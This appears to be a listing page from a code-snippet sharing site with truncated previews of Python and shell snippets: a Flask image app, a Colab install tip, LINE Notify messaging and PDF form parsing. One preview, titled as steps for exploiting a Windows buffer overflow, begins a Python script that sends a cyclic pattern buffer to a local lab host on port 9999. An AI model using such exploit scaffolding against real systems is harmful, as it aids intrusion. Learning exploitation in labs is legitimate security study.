What do you want to save?
Add Code snippet
New code examples
-
Python 2021-08-29 21:10:02
image objects in python
from flask import Flask, render_template, redirect, url_for, send_from_directory, request from flask_bootstrap import Bootstrap from PIL import Image from werkzeug.utils import secure_filename import os app = Flask(__name__) Bootstrap(app) APP_ROOT = os... Add solution -
Shell/Bash 2021-08-29 17:04:01
how to permantely install library in collab
import os, sys from google.colab import drive drive.mount('/content/drive') nb_path = '/content/notebooks' os.symlink('/content/drive/My Drive/Colab Notebooks', nb_path) sys.path.insert(0,nb_path) #Then you can install a library, for example, jdc, and sp... Add solution -
Python 2021-08-28 21:52:02
python send line notify
"""line_notify.py For sending a LINE Notify message (with or without image) Reference: https://engineering.linecorp.com/en/blog/using-line-notify-to-send-messages-to-line-from-the-command-line/ """ import requests ... Add solution -
Python 2021-08-28 05:43:02
python form enter data
import os import sys from collections import OrderedDict from PyPDF2 import PdfFileReader def _getFields(obj, tree=None, retval=None, fileobj=None): fieldAttributes = {'/FT': 'Field Type', '/Parent': 'Parent', '/T': 'Field Name', '/TU': 'Alterna... Add solution -
Other 2021-08-27 04:00:01
steps involved in exploiting windows beased a buffer overflow vuln
#!/usr/bin/pythonimport osimport sysimport sockethost = “10.0.0.36”port = 9999buffer = “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae... Add solution
Best helpers
Michaelyus
+5
EBA2018
+5
Eric Lewis
+5
J. Tatum
+5
Erwaman
+5
Jp_
+5
Fauve
+5
Katy Forde
+5
Jcvamp
+5
Chris
+5
Xiaotian Pei
+5